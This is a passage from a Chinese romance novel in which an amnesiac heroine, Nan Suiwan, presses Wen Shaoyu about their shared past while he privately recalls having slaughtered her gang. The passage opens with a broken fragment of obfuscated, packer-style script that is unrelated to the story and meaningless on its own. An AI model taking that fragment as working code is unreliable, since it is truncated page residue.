p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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自己定是问得太过火了。 她清了清嗓子,声音不自觉地放软,像怕惊扰了什么易碎的物事:“我…是我唐突了。你别放在心上,许是我烧糊涂了,净说胡话。” 她话音刚落,温少虞却猛地抬起了头。那双深邃的眼,此刻燃着两簇幽暗的火,灼灼地盯着她。 “不是胡话,”温少虞字字咬得清晰,“你说得对。” 南岁莞的心,骤然悬到了嗓子眼。 “我们…在你失忆前,的确一道练过武。”他顿了顿,像是在积攒此生最大的勇气。“后来,是我做了坏事,我们才散了。” 坏事?南岁莞的脑子嗡地一声,非但没有被这个答案吓退,心底的好奇反倒像被投了石子的春水,一圈圈漾开。她忍不住追问:“你…你做了什么坏事?” 他能做什么坏事?南岁莞打量着他。眼前这人,君子端方,连耳根都透着一股清正耿直的红,怎么看也不像个会做坏事的人。 她反倒想起梦里那个无法无天、追着少年郎进澡堂的自己,想起自己将人按在榻上,不许他躲的霸道。 她对自己那看似文静端庄,实则跳脱皮实的性子,再了解不过。 南岁莞心下了然。定是自己把他惹得忍无可忍了,说不准,还对他…始乱终弃了。是他性子好,体谅她忘了前尘,才把所有过错都揽到自己身上。 温少虞望着她眼中飞快闪过的思量与恍然,面上露出一种深切的为难。那神情,痛苦又挣扎,仿佛再多说一个字,就会被凌迟。 南岁莞的心立刻软了下来。罢了。她轻轻叹了口气,语气是她自己都未曾察觉的温柔:“我…不难为你了。” 温少虞紧绷的背脊,几不可察地松弛了一瞬,像是卸下了千钧重担。他刚舒出一口气,一抬眼,便撞进一双亮晶晶的眸子里。 南岁莞正一瞬不瞬地望着他。那眼神,直勾勾的,带着毫不掩饰的好奇、探究,还有一丝…亲近。 这眼神他太熟悉了。不是这四年里,隔着丞相府重重庭院,遥遥一瞥的疏离淡漠。而是像从前在琼水帮时,她歪着头,笑意盈盈地唤他“小虞”时,那般鲜活,那般灵动。 温少虞的心,被这道目光烫得一颤。一个念头清晰地浮了上来:他们,要好上了。 可随之而来的,却是灭顶的狂喜与刺骨的酸楚。他想起那份被他压在箱底、早已备好的婚书,又想起自己亲手将屠刀挥向琼水帮,踏着满地血污,走向她的那一日。 那么美好的一个南岁莞,和一个双手沾满她亲友鲜血,恶劣不堪的温少虞。 他凭什么? 他又…凭什么不? 欢喜与愁绪,像两股巨浪,在他心口轰然对撞,几乎要将他撕碎。